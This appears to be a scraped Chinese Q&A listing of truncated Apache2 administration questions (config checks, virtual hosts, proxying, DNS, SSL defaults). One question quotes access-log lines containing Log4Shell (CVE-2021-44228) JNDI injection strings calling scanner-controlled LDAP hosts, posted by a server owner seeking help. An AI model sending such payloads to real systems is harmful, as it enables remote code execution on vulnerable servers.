我正在寻找一个命令来检查 Debian 和 RHEL 发行版上 Apache 服务器中配置文件的有效性。我需要在重新启动之前执行此操作,因此不会有停机时间。
谁能告诉我——简而言之——这两个目录在 Debian 中的用途是什么?
/etc/apache2/sites-enabled
/etc/apache2/sites-available
Run Code Online (Sandbox Code Playgroud)
我注意到差异sites-available/000-default并sites-enabled/default表明它们是相同的。
是什么赋予了?
apache web 服务器 (apache2) 使用 log4j 吗?
我在 Raspberry Pi OS(64 位)上安装了 Apache2 2.4.38(debian),并在日志中发现了一些关于来自(蜜罐/扫描仪)、(离线和恶意?)和(我不知道什么)的CVE-2021-44228的奇怪记录这是)kryptoslogic-cve-2021-44228.comdataastatistics.coma8fvkc.dnslog.cn
我现在应该怎么做?
log4j2.formatMsgNoLookups = TRUE日志:
139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" …Run Code Online (Sandbox Code Playgroud) 有没有办法在不终止执行请求的情况下停止 Apache 服务器,基本上是一种告诉它的方法 - 不要接受任何更多的连接并在完成当前连接时关闭?
系统配置:Apache2、Django 1.10、Python 3、Ubuntu 16.04 LTS
姜戈debug=True。
/var/log/apache2/error.log
[52:53.057967] [wsgi:error] [pid 4303] [client 1.1.1.22:24409] Timeout when reading response headers from daemon process 'example.org': /home/user/dir/project/main_app/wsgi.py
[52:58.466726] [wsgi:error] [pid 4305] [client 1.1.1.10:9787] Truncated or oversized response headers received from daemon process 'example.org': /home/user/dir/project/main_app/wsgi.py
[52:58.466729] [wsgi:error] [pid 4304] [client 1.1.1.4:18417] Truncated or oversized response headers received from daemon process 'example.org': /home/user/dir/project/main_app/wsgi.py
[52:58.466726] [wsgi:error] [pid 4307] [client 1.1.1.22:35116] Truncated or oversized response headers received from daemon process 'example.org': /home/user/dir/project/main_app/wsgi.py
[52:58.466756] [wsgi:error] [pid 4306] …Run Code Online (Sandbox Code Playgroud) 我拥有一个使用 Let's Encrypt 证书的网站。它不在 Cloudflare 后面,而是托管在 OVH,我接受来自它的直接流量。
现在,我设置了一个 apache2 Web 服务器并使用 certbot 自动生成证书。这里的问题是,当我在 Firefox 上查看证书信息时,我可以在页面底部看到它包含对“Cloudflare Nimbus2023”的引用,尽管我没有使用他们的服务。
下面所附的图片是它所显示的......
(由于某种原因,它不允许我附上图片)
谁能向我解释一下这是什么?Cloudflare 在这里访问什么?
我目前使用 Apache 作为我的 LXD 容器的代理,使用这种设置:
<VirtualHost *:80>
ServerName example.com
ProxyRequests off
ProxyPass / http://10.0.0.142/ retry=0
ProxyPassReverse / http://10.0.0.142/
ProxyPreserveHost On
</VirtualHost>
Run Code Online (Sandbox Code Playgroud)
我想切换到traefik。我试过这个配置:
defaultEntryPoints = ["http"]
[entryPoints]
[entryPoints.http]
address = ":80"
[backends]
[backends.backend1]
[backends.backend1.servers.server1]
url = "http://10.0.0.142"
[frontends]
[frontends.frontend1]
backend = "backend1"
passHostHeader = true
[frontends.frontend1.routes.example]
rule = "Host:example.com"
Run Code Online (Sandbox Code Playgroud)
(注意:我不打算使用 docker,我也不想这样做。)
目前,我正在LAMP为我的登录页面、Web 应用程序和 API 使用配置。现在我想将这些东西拆分到多个虚拟服务器 (VS) 中。我不确定网络设置,在弄乱我所有的 DNS 配置之前,我想了解一下我的配置是否会崩溃。
登录页面托管在second level domain(例如myurl.com),Web 应用程序托管在较低级别的域app.myurl.com,而 api托管在api.myurl.com。我还有一个预览域:preview.myurl.com,用于测试。
由于所有内容都托管在同一个 VS 上,因此我目前还有四个不同的文件夹(landing、api、webapp、preview),它们充当每个子域的“虚拟主机”。
我的 DNS 配置如下所示:
myurl.com. A 300 123.123.123.123
www.myurl.com. CNAME 300 myurl.com.
api.myurl.com. CNAME 300 myurl.com.
app.myurl.com. CNAME 300 myurl.com.
preview.myurl.com. CNAME 300 myurl.com.
Run Code Online (Sandbox Code Playgroud)
首先,我想将每个 CNAME 条目的数据更改为当前 VS 的实际 IP。所以它看起来像这样:
myurl.com. A 300 123.123.123.123
www.myurl.com. CNAME 300 myurl.com.
api.myurl.com. CNAME 300 123.123.123.123
app.myurl.com. CNAME 300 …Run Code Online (Sandbox Code Playgroud) 我想知道 AWS 产品是否可以实现以下功能?
https://www.example.com/a/-> 由 Apache 在EC2 实例 A 上提供服务
https://www.example.com/b/-> 由 Apache 在EC2 实例 B 上提供服务
澄清一下,我不希望一个目录路径下的文件与另一个目录路径下的文件位于同一服务器实例上。
我知道这可能通过某种代理来实现,但是否有一种更简单的 AWS 产品解决方案。
在EC2负载均衡似乎并没有让基于切换的目录路径。Route 53在 DNS 级别工作,它没有基于此返回 IP 的路径信息。
default-ssl.conf 非常不言自明。我认为它是在没有虚拟主机或其他配置覆盖它时使用的默认值。
但 000-default-le-ssl.conf 文件到底是什么?为什么它是这样命名的?前面的三个零是怎么回事?它与 default-ssl.conf 有什么不同/应该以不同的方式使用?应该如何使用其中一个/两者?
无论使用哪个conf文件,我都发现很少有可以使用的默认值。对于多个域,我无法真正使用 ServerName/ServerAlias,并且由于每个域都有自己的目录/端口,我也无法使用默认的 DocumentRoot/Proxy。就我而言,我为每个域生成了 ssl 证书,因此也不能使用默认值。甚至每个域的 ServerAdmin 也可能不同。根据这个用例,我应该将其保留为几乎空白还是我遗漏了一些东西?这种情况下的最佳实践是什么?
我正在 Ubuntu 18.04 上运行最新的 Apache 服务器。
apache2 ×10
ubuntu ×2
a-record ×1
certbot ×1
cloudflare ×1
cname-record ×1
conf ×1
debian ×1
django ×1
dns-zone ×1
lets-encrypt ×1
linux ×1
mod-wsgi ×1
ovh ×1
proxy ×1
ubuntu-18.04 ×1